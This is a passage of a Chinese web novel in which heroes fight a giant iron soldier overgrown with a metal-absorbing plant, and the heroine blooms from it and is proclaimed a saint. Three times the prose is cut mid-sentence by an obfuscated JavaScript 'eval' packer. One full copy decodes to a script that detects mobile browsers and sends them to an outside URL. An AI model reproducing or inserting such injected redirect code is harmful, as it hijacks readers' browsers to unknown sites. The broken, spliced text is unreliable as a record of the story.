汽油的火焰飞快蔓延到榴弹附近。温度迅速升高,最终引发了□□。因为没有炮管的加速过程,榴弹像是礼花一样到处乱飞,在空中爆炸。高爆、震撼、火焰,不同的榴弹炸出不同的火花。铁兵这才突然意识到自己脚下的问题,它连连后退,检视着脚下汽车残骸的火焰。 双胞胎兄弟已经趁这个时机,跑到了市民大厦的后门口。林天籁对着锁住的大门开了一枪,震碎了所有的玻璃和门锁。 他们回过身,对姜原叫道:“废物学长,快点啊!” 我能怎么快?姜原在心里骂道。但他还是对着兄弟俩挥动手臂。 “不要停,一直往前!” 放在地上的榴弹已经射完,而铁兵也确认了附近没有威胁。他对姜原举起手中的步枪,瞄准,随后又看到大厦门口的两兄弟,然后咕哝了一声,似乎选择了一个二者中间的位置。 姜原离开大路,向人行道跑去。同时喊道:“掩护!笨蛋!掩护!” 震耳欲聋的炮响。 姜原一个跟头翻进行道树的树坑,双手抱头,趴着不动。炮弹呼啸着直直命中他和双胞胎兄弟之间的路面,爆炸了。爆炸的气浪掀起沥青、石块、泥土、炮弹破片与烟尘,把周围的一切都撕得粉碎。姜原身上盖了厚厚一层泥土,石块和沥青块劈里啪啦掉在他的身上,好在他背着机械爪的控制箱,总算没有打坏他的腰肋。 他从树坑里爬起来,在硝烟中继续向前面的市民大厦冲去。 在耳鸣声中,也有身后拉动枪栓的喀拉声,弹壳弹出的清脆铜铁撞击声,以及弹壳轰然落地的沉闷响声,以及对方士兵重新集结的口哨声。 姜原拼命交替迈动双腿。 大厦后墙上所有的窗户都被炮击震碎了,但好在没有被正面命中,能见之处大抵完整,只是如麻点一样被打出许多凹坑,地上也堆积了厚厚一层泥土。姜原就从这泥土上跑过去,冲进正厅。 “你们两个还好吗?” 那对双胞胎灰头土脸地从柱子后面探出头来。他们刚才就躲在那里。爆炸震落了天花板上的泥灰,他两个看上去脏兮兮像是打了滚的驴。但姜原自己也不遑多让。 他摆着手喊道:“快跑,不要停,从这里穿过去!” 他们就穿过市民大厦的正厅,绕过大厅里的喷泉与照壁,打破正门的玻璃门,跑上街道。他们身后传来一声沉闷的炮响,随后是地动山摇。 这一炮命中了市民大厦的后墙正中。墙体和砌体砖全部都被轰碎,没有钢筋加固的楼板也坍塌了,只有钢筋混凝土的框架结构还硬撑着,但许多地方的混凝土也崩裂脱落,只有钢筋暴露出来。 姜原在听到炮响时急忙按住两个小孩的脑袋蹲下,机械爪拼命伸长盘结,在头顶架起一道防御,然后在沙石与土块落地后一拍双胞胎的脑袋,督促他们向前跑去。 虽说躲在框架结构的死角也能躲过炮击,但还要面对后续步兵的清剿。 何况他还要在这种乱局中找到周向青。 哦,还有让娜。 这是什么□□凶日? 这条百余米宽十六车道的长街昔日也是熙熙攘攘,车水马龙。今夜明月高悬,惠风和畅,却空荡荡的没有半个人影。内城的红墙就在长街的另一端。姜原看到那墙上已经亮起了探照灯,塔楼上也已部署了防守兵力。 这里不太可能有什么能够对那铁兵构成威胁的重火力。重炮都部署在城市外围,而对城内发射导弹的话,他不知道教会有没有这个魄力。 但他指望的并不是这个。 他带着两个孩子,穿过长街向红墙奔去。 探照灯打在他的身上,照得他睁不开眼。同时他也听到了枪声和子弹打在侧面不远位置的细小噼啪声。他不由得停下脚步。 “不准再靠近了!”对方用喇叭喊道。 “敌人就在后面!”姜原喊道。 “这里是交战区域,如果你是一般市民,请你立即到他处避难!” 这里是交战区域,但哪里不是呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那白影一击奏效,便从钢铁巨偶的肩头向后跃去,并在后跃的同时,把一柄“标枪”掷进铁兵的口中。那黑色的巨手分出一只去抓“标枪”的枪头,火光一闪,便告熄灭;而剩余的黑色纤毛仍旧追逐着那白色的影子。 而白影落回红墙的塔楼后,看不见了。 “那是怎么回事?”林天籁问道。 “是一个白骑士!”林希声喊。 “别吵吵!也别回头!” 姜原拖着双胞胎兄弟,趁机从炸开的洞穴中冲进墙内。他的正前方就是大博物院和六棱堡。 而他的背后响起炮声。 铁兵大概是没能追上那道白影,于是击毁了大圣堂那一角的塔楼。 “我们现在还要做任务吗,哥哥?”林希声颤声问。 “这还用问?当然要继续的啊。来都来了。”林天籁回答。但他的声音里没有一点底气。显然给他任务的人并没有告诉他,来这里会遇到什么样的事情。 一个高冠华服的老人正伫立在大博物院阶前。他背着手,神态自若地望着爆炸声传来的方向。姜原猜到那大概就是卡比利亚的大主讲。在他身后还有一个人和一个小女孩,那是赛德机师,他带着让娜。 “周向青呢?”姜原问。 “我不知道。”赛德答道。“她出去战斗了。” “她去战斗了?”姜原一愣。 “她去战斗了。”赛德回答。 “出去战斗?就跟那种家伙?”姜原指了指身后。 “刚才你不是也看到了吗?”赛德答道。 姜原呆立半晌,才说:“有车吗?” 大主讲答道:“我有。”他掏出车钥匙一按,廊下一辆敞篷越野吉普“哔”了一声。 “好车。”姜原说。 “拿去用吧。” 姜原接过钥匙,开门上车,发动引擎。“你们怎么办?”他问林家兄弟。 双胞胎对视了一眼,一手叉腰,肩并肩,脚并脚,对着姜原竖起大拇指。 “冥界浪人!” “月下华尔兹!” “今夜也将加入狩猎!” 姜原叹了一口气,伸出机械爪,把这两个活宝抓进后座。 在汽车离去的前一刻,姜原从怀中掏出胖球,往空中一抛。胖球拍着翅膀,飞上让娜的手指。 36. 卡比利亚之夜21 姜原驾车驶过林荫道。昔日庄严肃穆的红墙如今已经变成了一片瓦砾,而那骑士正依托大圣堂和钟楼一次又一次地对铁兵的头部发起冲击。那身纯白的护甲在月光下泛着银光,和她头上的红色帽子相得益彰。 姜原终于认出了她。 她的目标似乎总是那铁兵的嘴巴。 但她每一次冲上前去,黑色的浪潮便追逐而至。她不得不避开,把那黑色的浪潮引向铁兵的手臂,然后在拉扯出的空档重新扑向她的目标。在她反复的拉扯之下,铁兵全身上下的纤毛都被吸引过去,尾随着她,像是一条绕着铁兵躯干游走的黑色巨龙。 有时那巨龙的撕咬她避无可避。她便挥剑斩向龙头,同时借力跃回大圣堂的屋顶。钢铁士兵在此时趁机出拳,一拳震碎了大圣堂的屋顶,而她则轻巧地跳上对方的拳头,重新向铁兵的面部扑去。 一美一丑、一小一大、一白一黑,在月光下一来一往。 进攻、反击、再进攻、再反击。 姜原和双胞胎不由看得呆了。 就连大圣堂周围的圣女草似乎也被这场战斗所吸引,铠装管道和黑色的纤毛就像海底的珊瑚和海带,不断伸向天空。 但让姜原更加惊讶的是铁兵的身体。 他现在才有时间去观察自己的敌人。铁兵的结构和普通机器人类似,由一些空心的零件构成外壳,而盘根错节的铠装管道则取代通用的液压泵填充其中,充当它提供动力的肌肉。但由于圣女草吸收稀有金属的特性,金属外壳的表面已经被腐蚀出无数细小的空洞。而大概也正因如此,圣女草的纤毛才得以从铁兵的身体各处伸出,形成了它独特的防御体系。 公司居然在自己不知道的时候,搞出了这种东西? 不。跟据他对公司的了解,他们不可能去利用活化机械。而基于林家兄弟过来的目标,他非常肯定这是学院的把戏。所以是学院支持了这次进攻,并把它当作自己新技术的实验。 这个新技术的确精妙。铁兵只不过是一个寄居蟹的海螺壳,而圣女草就是附着其上真正构成威胁的海葵。跟据公司对自动化的抵制,那么必然有一只小小的寄居蟹藏在海螺壳里,在操纵着这个合成体行动。 难怪周向青的攻击目标一直都是那铁兵的头部。驾驶员一定就在那里。 但……驾驶员到底是通过什么来控制它的? 圣女草并不是什么复杂的活化机械。他们把圣女草移到这样一个铁罐子里,却仍然能保持它的活性,说明圣女草必然不可能拥有多么复杂的神经网络,也不可能有所谓的意识。那么驾驶员是怎么控制它的? 那么是电流吗?是激素吗?或者是什么类似的东西?他记得在哪本书中看到了类似的研究。 妈的。完全想不起来。 他真的算不上是什么好学生。如果是胡筱秋的话,大概早就想起来了吧。 不去管了。反正攻击它脆弱的腿部也是一种办法。 “我们上吧!攻击它的膝关节!”姜原喊道。 越野吉普的排气筒喷出一股浓烟,向前冲去。林天籁举起手臂,把能量球射向铁兵的膝盖。黑色纤毛构成的巨龙正忙着追逐周向青,此时来不及展开对膝盖的防御。能量球命中,高频振波撕裂了金属的分子结构,应力集中于那些细小孔洞的边缘,产生了一道道裂纹。螺栓、铆钉等紧固件也出现了不同程度的损耗。 越野车驶入铁兵的两腿之间,此时林希声把他的“低音炮”对准胫部的外壳发射。低频振动唤起了更多的共振,金属壳在振动下哒哒作响,螺纹松脱开来,裂纹因为应力不均而不断扩大。 此时铁兵也注意到了他们的存在。它发出一声嗥叫,抬脚向越野车踩去。姜原猛打方向,反而绕着铁兵的脚转了一个圈,同时又是两道高频与低频的交替攻击。 林天籁兴奋地叫道:“车长!左满舵!” “所以到底这是坦克还是船啊!” 姜原嘴上吐槽归吐槽,但敞篷越野车还是向左边驶去。又是两道音波攻击。几枚螺栓已经脱扣,从铁兵的腿上掉落下来,砸上地面。 黑色的巨龙在驾驶员的督促下,抛开了周向青,凝成一道瀑布,倾泻而下。姜原从口袋中掏出那一枚“决斗”时没来得及使用的动能炮,对着巨龙的龙头发射,同时踩下油门。 轰的一声。巨龙般的瀑布碎成了雨帘,一时间失去速度,被越野车抛在后面。而又是两道音波攻击射上铁兵的膝盖。 “砰”的一声巨响,铁兵左胫的金属外壳完全断开,掉落在地面。它单靠铠装管道无法支撑自重,原本拧成一股的管道也一瞬间像麻花般散开,大腿直接撞上左脚,砸进地面。 铁兵的左手及时撑在地面,稳住了身子。它右手扶着大圣堂,右腿弯曲,算是以单膝跪地的姿势,重新找回了平衡。周向青趁此机会重新冲向铁兵的嘴巴,她的手腕亮起一道蓝光,准备切开驾驶舱的舱门。 此时黑色的巨龙已无暇回救。铁兵用右手去抓周向青,但抓了个空。眼看她就已经抵达驾驶舱的舱门,铁兵抬起左手,从腰带上扯下一枚黑漆漆的手雷似的东西,举到面前。它浑黄的目光胡乱旋转,同时口中爆发出一阵咯咯的大笑。 “小心!”姜原叫道。越野车同时也驶离铁兵脚下。 但周向青并不想撤退。她挥起离子刀刃,砍上驾驶舱的舱门。 那黑漆漆的“手雷”爆炸了,整个区域一瞬间都弥漫起白色的烟雾。 因为这爆炸并非因为火药,杀伤也不依靠破片,它里面填充的是一种完全不同的物质。周向青也没能趁此机会突破驾驶舱的舱门,因为这钢铁巨像身体的每一个关节都在这一刻震动起来,她身子一晃,接连后退了好几步。 而钢铁巨像体内的圣女草像是受到了什么东西的刺激,突然猛烈地喷发出来。铠装管道不再仅仅停留在巨像零件的通道中,而是迫不及待地挤出所有的缝隙。手腕、手肘、肩膀、腰椎、胯骨,甚至是脖颈和眼睛,都有铠装管道的枝蔓从中冒出。巨像刚才断掉的左腿如今深深扎根于地面,它的右腿也与大圣堂周围的圣女草相连,形成了一片圣女草的海。 它不再像是巨大的铁兵了。 那可怖的模样,更像是一个开线炸裂的稻草人在痛苦挣扎。 圣女草贪婪地吸收着巨像中央锅炉提供给它们的能量,以及金属外壳中的物质,疯狂扩散蔓延。纤毛和管道伸向附近一切可以抓握的东西,尝试在里面扎根生长。 周向青自然而然的变成了它最好的目标。 从巨像脖颈处伸出的铠装管道卷上周向青的脚踝,要把她包裹起来。纤毛刺入她的身体,试图抽取她体内的金属元素。 她急忙挥剑砍断那些管道,扭身向大圣堂的楼顶奔去。 但如今有了铠装管道作为支撑,纤毛构成的巨龙更加肆无忌惮。它追逐着周向青的身影。先是一口咬上大圣堂残破的尖顶,把砖石和梁木嚼的粉碎;然后扑过两翼的彩窗,撞烂那里的玻璃和窗棂。而她则在巨龙盘旋身躯的缝隙间跳舞,始终不让它沾上自己的衣角。 此时再去攻击铁兵,甚至是驾驶舱已经没有太大的意义。目前控制着局面的,相比驾驶舱里的驾驶员,更像是圣女草自身。或许那一颗“手雷”就是这样的目的,并不在于摧毁敌人,而在于让局面彻底失去控制。 或许这次进攻的目的也是一样。并不在于摧毁敌人,甚至并不在于实验,而是在于破坏教会方民众对于圣女草的信心,唤起他们的恐惧。 设计这一次进攻和实验的,必然是非常了解圣女草也了解教会,而且对教会充满恨意的人。如果了解教会但不了解圣女草,那么就不会采用这种进攻的方式;如果了解圣女草但不了解教会,就不会设计最后的这个武器。 这是姜原在那危急关头的第一个想法。 而他的第二个想法,就是他隐约猜到了如何控制圣女草来驱动铁兵的设计思路。 在仿生人电子脑中最底层的设计就是自主逻辑模块,用以在不调用中央处理机能的时候单靠自生成的模拟信号来完成所有的基本生理功能。这个模拟人类植物神经的东西也被叫成植物逻辑。虽然自然界中的人类与植物是完全不同的两种生物,植物神经也并非就是“植物”的神经——但活化机械虽然并不出于人类的设计,但它也并非是完全独立于人类机械之外的东西——它的基础素材仍然借用了人类的创造。 某种程度上说,铁兵的操控设计一定是半仿生化的——它必须通过植物逻辑模块来使人类不需要真正智慧每一条铠装管道,才能使操作变得简单。如此一来,植物逻辑模块和脑机接口——所以这才是学院加入的原因! 在姜原终于想通这些东西的时候,周向青面对的敌人已经越来越强。圣女草已经几乎吸收了一半的金属外壳,现在已经几乎无法看出铁兵原本的面目了。 它中央的锅炉与头部的浑黄眼珠仍然亮着光,但那些金属外壳如今相比于外骨骼,更像某种挂在黑色怪物外部的装饰品。浑黄的目光闪烁着,金属与齿轮咯咯作响,锅炉中的燃料大概已经所剩无几,这个半人半草的怪物也更加疯狂。 它拔起铁兵的双手,用力砸大圣堂的主楼上,想要摧毁这栋阻碍它吸收周向青身体的建筑。而周向青能够落脚的地方也越来越少,越来越小,她虽然屡屡斩断敢于抓住她的铠装管道和纤毛,但她找不到对抗敌人的最好方法。 “向青!”姜原喊道。“不要怕!让它抓住你!” “你在说什么鬼话?”周向青从断墙上跳开。昔日雄伟的大圣堂在怪物的摧残下,已经无法辨认。唯有当中的圣女像还傲然挺立,只是她的一只手已经断了。 “你让它抓住你!你什么都不要想,尽量去控制它就好!” “你疯了!我怎么能控制这东西?”周向青斩断伸向她的腕足。被斩断的部分掉落下去,很快被下面的圣女草重新吸收,回到整体之中。 “呃……我不知道,但你可以的!” “放你的屁!” “相信我!这是学院设计的东西,你信我的没错!” 周向青没有回答。 那对浑黄的眼球越闪越慢,终于伴随着中央锅炉一同熄灭了。就在眼珠熄灭的一瞬,那个半人半草的怪物耸起上半身,无数的铠装管道和纤毛组成了一道滔天的海啸,向周向青扑了过来。 她是应该躲开,还是相信姜原的话? 她握紧了双拳。 而黑色的潮水一瞬间就淹没了她。 铠装管道就像一条条巨蟒,缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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### 被黑暗所包裹真是一种奇异的感觉。 像是在无边无际的海洋中漂流。 又像是在无边无际的梦境中漂浮。 还像是自己就是那无边无际本身。 她在那短短的一瞬间,感觉自己的身体就像蔓延过整篇大地一样,一直越过崇山峻岭,深沟盆地,江河湖海。她也觉得自己又像是哪里都没有去,只是被困在一个极紧极窄的空间里,压缩得她喘不过气来。 她开始慢慢地呼吸。虽然她不知道那对她来说有没有用,但呼吸是她愿意做也唯一能做的事。她感觉随着每一次呼吸,都有一点新的、带着生命的东西进入她的体内,然后一点旧的、已经耗尽的东西排出她的体外。 她不知道自己为什么可以呼吸。她也不知道自己如何知道呼吸。她也不知道呼吸到底是什么。 她只是在做自己还是一团混沌时,与生俱来的事情。 她只是在做她自己。 她只是成为她自己。 然后眼前的黑暗突然破开了,光照进了她的所在之处。 “这到底是怎么回事?” “我也不知道。但已经这样很久都没有动静了。” “我觉得我们不能这样等下去。如果市民们回到城市,看到这种情况,他们会对我们失去信心。圣女草居然是——” “请您闭嘴,将军大人。什么时候轮到你来担心统修会的事情了?” “小子,就算你不是我的部下,但我只要一根小指头——” “我愿意相信你,赛德机师。” “非常感谢您的支持,大主讲。” “但你那样对伏龙芝将军说话,仍旧是不合适的。” “十分抱歉,大主讲。我今后一定注意。” “但我仍旧不敢相信,圣女草居然……圣女草居然……” “它并不是邪恶的,总队长。即便我目睹了事情的全过程,我仍旧不认为它是邪恶的。即便今日它再次为圣女的鲜血染红,但邪恶的也不是它,而是……” “它动了!快看!它动了!” 黑色的花蕾微微耸动,就像是清晨的阳光让它从沉眠中醒来了一样。铺天盖地的圣女草铠装管道在将周向青裹在中间之后,便逐渐脱离那巨型铁兵残余的躯壳,便在地面上缩成一个黑色的圆球,便不再动弹。 铁兵那已经千疮百孔的躯壳趴在大圣堂的残垣断壁上,就像它正要扑向大圣堂中的圣女雕像,却突然被时间静止了一般。圣女雕像在最后的浪潮中被压断了双手,但铠装管道仍然盘在她的身上,甚至整个大讲堂的地面都铺满了管道。 而在区区几个小时内,这些管道上竟然已经长出了新的红色幼苗,就像在这座已经残破不堪的大圣堂中铺满了红毯。 而如今,圣女雕像前面,那黑色的花蕾顶端已经微微翘起,就像是萼片被其保护的花骨朵撑开一样。 果然,纯红色的旗瓣从萼片的裂口挣出了脑袋。新鲜的汁液泵入花瓣的每一条脉络,旗瓣的尖端已经弹出一个红冠,同时翼瓣也逐渐膨胀,向两侧挣脱萼片的束缚。 包裹花芯的花瓣以肉眼可见的速度成长,并且越来越快,最终旋转着蓬然绽放盛开。 37. 卡比利亚之夜22 周向青从黑甜的梦中醒来。 她已经不再记得自己的梦。 因为她的眼前挤满了人。在她被圣女草包裹的几小时内,空中的飞艇早已撤退。而统修会的援军轻易开进这座已被解放的城市,发现敌军早就溃散,不知所踪。逃跑的市民们以更快地速度返回城市,而原本就留在城里的人更是走上街头,一边吹嘘自己留在这里的正义性,一面打听究竟发生了什么事。 而关于敌人和英雄的故事不胫而走。第一批听到这些故事的人赶到内城,看到残破的大圣堂、巨铁兵和这个巨大的花蕾之后便再无不信,并把这个消息添油加醋告诉更多的人。 目前不计其数的人们已经聚在内城。还有更多的人正在赶来的路上。 起初抢先赶到的人们还不敢太过靠近,只是默默地围成一个圈。 只有大主讲、将军、赛德等人站在大圣堂的废墟中。 在大约清晨时分,花蕾开放了。 鲜红的旗瓣就像屏风一样竖在她身后,而柔软的翼瓣像粉色的地毯舒卷铺开。 人们从未见过这样的场面。他们发出阵阵惊叫与欢呼,争先恐后地挤上前来。但他们又并不敢跟周向青交谈,只是充满期待地注视着她的面甲,猜测那后面她的模样。有些胆大的人捧起地面上的花瓣亲吻,或触碰一下铠装管道之后,便在身上不断划着三角。 大主讲和他的僚属也都被挤到一边。 而最终,包围着她的那些穿着各色服饰的人们轰然一声,全部拜倒在地。 “圣女!” 人群高叫道。 周向青只觉得有一些乏力。 她尝试着握了握拳。她大概的确是被那圣女草抽走了什么东西,只是不确定到底是什么。她身上的护甲和衣服都还算完好,盾牌与折刃也在,就连面甲和帽子都好端端地戴在头上。之前紧缚和刺痛的感觉,并没有在她身上留下痕迹。 她看着眼前黑压压的人群,试图从中寻找一张熟悉的脸。 她没能找到。 围在这里的人有男有女,有老有少,有穷有富,有强壮有病弱。他们的脸上激动且兴奋,热切地期待着什么。但没有一张脸是她熟悉的。 她有点惊慌。 “圣女呵!”人们再一次膜拜。 许多张脸上流下泪水。 她不知道说什么好。她焦急之下,转过身去,想要逃跑。 然后她看到了大圣堂中那座圣女像。 圣女的样子已经与昨晚她看到时截然不同。圣女伸向空中与轻抚心口的双手已经断落,而新生的圣女草披在她的身上,为她添上了鲜红的头冠和衣袍。圣女的双眼望向空中,显得坚毅而又感伤。 她不由得也跪了下来。 此时,一只鸟儿落到了她的肩上。 是胖球。 也是她来到这里的目的。 周向青抚弄着胖球的翎毛。它看上去也显得有些疲惫,而且又饥又渴。但周向青此时也没有东西喂它。不过,这里有很多树,或许它能自己找到一点小虫。她轻轻摘下了胖球双脚上的脚环,让它飞回树上。那是两条写着一行数字的灰色环带,背后有一条深绿色的线。那个人给她留下的信息,大概就在这两条线中。 她背上盾牌,插好折刃,紧紧攥着胖球的脚环,站了起来。 她背后的人群也跟着站了起来。 她向大博物院的方向走去。 人群如潮水般分开,自动为她让出一条长长的道路。 而她就沿着这条路走了过去。 沿路的人们纷纷伸出手,只求一触她的护甲、衣角,甚至是手背。而外围的人们如潮水般一浪又一浪地欢呼道:“圣女万岁!” “你听听,他们已经开始在喊万岁了。估计要不了多久,他们就会举着火把冲进来,要我们自杀谢罪了!”穿军装的老人迈着重重的步子,在大博物院的厅堂里踱来踱去。 “别这么激动,将军。人们只是为他们见到的奇迹而感到兴奋。我们不得不承认,关于这种活化机器,我们还有很多需要了解的情况。就连我也感到激动,毕竟圣女草会开花这种事,谁都不知道,也没有见到过。”朱启儒大主讲道。 “而且,他们这么激动,难道不是因为太久没听过我军胜利的消息么?” “你这个混蛋——”伏龙芝将军对着刘光磊挥起拳头。 “这正证明了我说的话,不是吗?大主讲!她就是圣女!虽然我一开始并未预料到,竟然能够亲眼见证这样的奇迹!但天哪!圣女草开花!谁能想到世界上还有比这更直接的圣迹吗?天哪!天哪!要我看,我们应该立即组织一支军队,攻克五龙原,圣座当年的悟道之处!想想这次会有多少人加入我们的战斗!而圣女则举着她的旗帜,在前方——” “你还没闹够吗?赛德机师。这里不是你说话的地方!” “但这里也不是折刃骑士团的训练场,总队长。我允许他发言。虽然赛德机师过于兴奋了,但这次事件的影响力是我们现在难以估量,也无法预知其后果的。这句话同样适用于你,赛德机师。我们还需要更谨慎一点对待你的‘圣女’。她并不是没有自主意识的机器人,但她也不是我们统修会的成员,她甚至都不一定接受我们的理念。” “可她是圣女,不是吗?她是圣女,这就足以说明很多事情了不是吗?她是圣女。是我们应该接近她,而不是让她来接近我们。是我们应该成为她,而不是——” “即便她是圣女也不能解释这次的现象。可惜我们的团队已经撤回后方了,不然还可以好好研究一下。” “卡塔利娜主讲,你那两个研究员呢?现在正可以去采集一点样本。” “现在去是不是有点晚了?他们还没把那些花瓣给生吃了吗?估计再过不久就会有人宣称拿它泡酒喝可以益寿延年吧。”刘光磊说完,一个人捂着嘴“吃吃”地笑了起来。 “你这个无信者!”赛德圆睁双眼,咬牙切齿地瞪着这个当年的同学。 “请你严肃一点,刘主操。我不记得刘正勋总操是这么刻薄的人。” 听到大主讲提到自己父亲的名字,刘光磊急忙收笑低头。 大主讲哼了一声,又说:“我知道大家如今各有各的想法。但目前的情况仍然很复杂。进攻各地的米卡军队尚未撤回,而市民们的情绪也有待安抚。我们在这次进攻中也损失了不少人员和财产,这些都是需要处理的事情。佩里尼议长呢?” “她早就不知道逃到哪里去了——” “嘘,她来了!” 周向青走进大博物院。 赛德率先向她迎了过来。“圣女。”他鞠躬道。 朱启儒大主讲向她伸出双手。“孩子,你回来了。” 而其他人都在原地看着她。 周向青掀起面甲,低下头去:“大主讲,我想再借用一下您的设备。”此时她注意到,姜原和让娜并不在这里。 “好,你跟我来吧。” 周向青再度跟着大主讲前往大博物院的深处。大主讲的衣袍悉索作响,而她的靴跟铿锵有声。这声音在提醒她,她跟第一次来这里的时候已经不一样了。 当然,并不只是说她的外观。 “起初我还在想,为什么帕西瓦尔要说你是他的护卫。现在看来,你的确有这个资格。有一些士兵看到了你在战场上的表现,他们说,你就像女武神一样杀入敌阵,救了他们的性命。”朱启儒大主讲按下电梯的按钮,然后微笑着跟周向青说道。他眼角的鱼尾纹皱缩在一起,看上去就像一个皱缩的核桃。 周向青不知道怎么回答,只好傻呵呵地还以微笑。 “而且你还击败了那么巨大的机器人。然后还跟圣女草融合在一起,变成了那么大的花苞。看到它盛开的时候,连我都惊呆了。从我们在卡比利亚发现圣女草起到现在,我还从来没有见过它开花的样子,甚至都不知道它可以开花。” “那个……我也不知道是怎么回事。”周向青答道。 电梯来了。她和大主讲一起走进电梯。 “我猜也是。你应该是不知道的。所以我总有点怀疑,是帕西瓦尔跟我们隐瞒了什么东西。我刚刚才想起来,三年前他过来的时候,就已经对圣女草非常好奇,一直在问东问西。我们虽然并没有把圣女草看得那么严实,但研究成果也不能随便透露给外人。至于他有没有私下里研究……我并不清楚。但目前看来,或许是有的。” 电梯门打开了,大主讲跟周向青又来到了那条陈列着各类物品的长廊。“如果他真的在这个城市里给你留了什么信息,你觉得,应该是什么?” “我不知道。”周向青回答。 “猜猜看呢?” 她没有办法猜。虽然她感觉到,大主讲隐隐约约怀疑这条信息跟圣女草相关,但她并不这么认为。跟据她目前掌握到的,关于“那个人”的信息,也只是“他是个信息猎人”、“他用一些奇奇怪怪的假名”、“他似乎有点不太正经”之类,也都没有什么价值。 “我觉得,应该是‘下一个谜题’一样的东西吧,”她答道,“就像寻宝游戏那样。” “父女之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088326|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间的冒险游戏吗?很有意思。听起来很有他的感觉。” 大主讲仍然微笑着,但仍然难掩脸上的失望之色。周向青隐隐感觉到,这位大主讲虽然看上去很温和仁厚,但他年轻时未必是这样的性格。 他们走过那些展品,来到放着有机存储读取器的玻璃柜前。 “这些东西真的还能用吗?” “当然可以。我们时不时会给它们通上电,让它们运行一下。电子产品和真正的古董可不太一样,如果太久不动,反而会坏得更快。”朱启儒大主讲关掉了警报器,打开玻璃柜门,然后打开了有机存储读取器的电源。 机器的显示屏亮了起来。大主讲点了几个选项,然后对周向青说:“好啦,你把你的数据条插在这个口里面。” 周向青取出胖球的脚环,把一端插了进去。机器咯咯作响,把数据条吞进体内。 “只有这个地方有这类设备吗?这种数据条是在哪里做的?”周向青突然想到了这个问题。那个人应该不会是在上次过来时,就有了这个想法吧? “这……我并不确定,但我猜只有我们才有这种东西。这里的安保措施并不算严密,毕竟这些东西只对我们有意义,也不排斥外人参观、使用。” 机器的显示屏闪烁着,上面显示了一行数字:9587 3250 5681 7842 6584 587,除此之外再无别物。这组数字看起来倒像是某种密码,4个数字一组,但只有最后一组是三个数字,一共23位。 “只有这么一点点?”周向青不明究里。 大主讲把头偏向另外一边,不去看屏幕。他说:“这种有机存储器能容纳的数据量很小。” 周向青先将那串数字记在心里,又将另一根脚环塞进机器。 屏幕上显示的是:&#!1l5VRz6rZ7C$NUt8P@^ha14dsk&2…… 这一回则是大小写字母、数字、符号的混合,看起来没有什么特殊的意义。但这一串字符可要比之前的数字长得多,一共256位。 这一串应该是某种密钥。这样一来,上一段数字可能就是什么东西的账号。一个脚环是账号,另一个脚环是密钥。 周向青也把这串密钥记了下来。 “好了?”大主讲看出了她脸上的喜悦。 “好了。”她答道。虽然她并不知道这到底是什么东西的账号和密钥,但“那个人”的确留给她了什么东西。她心里有点小小的雀跃。她想把这个给姜原看一看,问问他有什么想法。 大主讲关掉机器,把那两根数据条——也是胖球的脚环还给周向青,然后重新把玻璃柜盖好。他们反身向来时的电梯走去。 大主讲的衣袍悉悉索索,她的脚步铿铿锵锵。 她此时感觉到,自己的确和第一次来的时候不一样了。 大主讲按下电梯的按钮,跟她一起走进电梯。 “情况已经跟你第一次来的时候不一样了。”大主讲突然说道。 “您是什么意思?”周向青问。 “之前他们只是把‘圣女’的事情当作赛德的痴人说梦,他们准备看你的笑话。而我也把你当作一种无奈之中的冒险举措。但现在的情况已经跟之前不一样了。你现在是各方所不能忽视的存在。而每个人都开始产生他自己的、关于你的想法,这些想法会反映到很多方面。” 周向青也明白。 在她站出来的时候,她只是认为卡比利亚对自己有着特殊的意义,也对于其它人有着特殊的意义。她愿意为了这种意义而保护它。 但卡比利亚对她来说是特殊的。它对于其它人也是特殊的。 而这种特殊却人人不同。 如今,她也对那些人具有了特殊的意义。 她就是他们的卡比利亚。 她看到人们目光的那一刻,她就知道,那的确不是能够忽视的存在。他们各自有各自的愿望,也各自对她有各自的期待。 她不知道自己能不能承担这种责任。 电梯门“叮”的一声,打开了。 周向青和大主讲走出电梯。 而姜原正在外面。 他手里端着一杯水,和一根能量棒。 “我刚刚回旅馆找的。路上人多的不行。还好我把它落在旅馆了,才没一把火把它也给烧掉。”姜原一边说着,一边把手里的东西递了过去。“结果怎么样?弗莱给你留了什么信息?” “等我有空了再告诉你。”周向青接过水和能量棒,脸一扬,说:“因为本圣女还有事情要做。” 38. 卡比利亚之夜23 “有事情要做?有什么事?”姜原狐疑地问。 “我!我——我……我不知道。”周向青承认自己编不出来。 姜原叹了口气。“别闹了。他到底给你留了什么信息?” 周向青先把能量棒含在嘴里。虽然不知道那圣女草从自己身上抽走了什么东西,但她现在真的觉得“饿”了。她一面贪婪地把能量棒嚼碎,一面含含糊糊地把自己看到的情况跟姜原简单说了一下。 然后她背道:“95873250568178……” “打住,打住。我又不是你,怎么可能记得住?你说那数是23位,四个一组,最后一组只有三个数对吧。我记得——”姜原说到这里压低了声音,扭头去看大主讲。朱启儒大主讲在刚才就已经自行离开,现在已经走得看不到人影了。姜原确认了没人能够听到,才又说:“我记得米卡那边,人才贸易银行的账户号码,就是这个样子。” “真的?你确定?”周向青急忙吞下嘴里的东西。 “我确定人才贸易银行的账户号码是这么写的,但我不确定那串数字一定就是真的账户号码。还是要查了才知道。” 姜原从怀里掏出一个卡片包,从中掏出一张卡片。卡片上画着一个工人在用风钻干活,挥汗如雨。左上角印着“人才贸易银行”,标志是一个既像是扳手,又像是方孔铜钱的图案。而卡片中部果然凸版印着一串数字,共23位,四个一组,最后一组只有三个数。 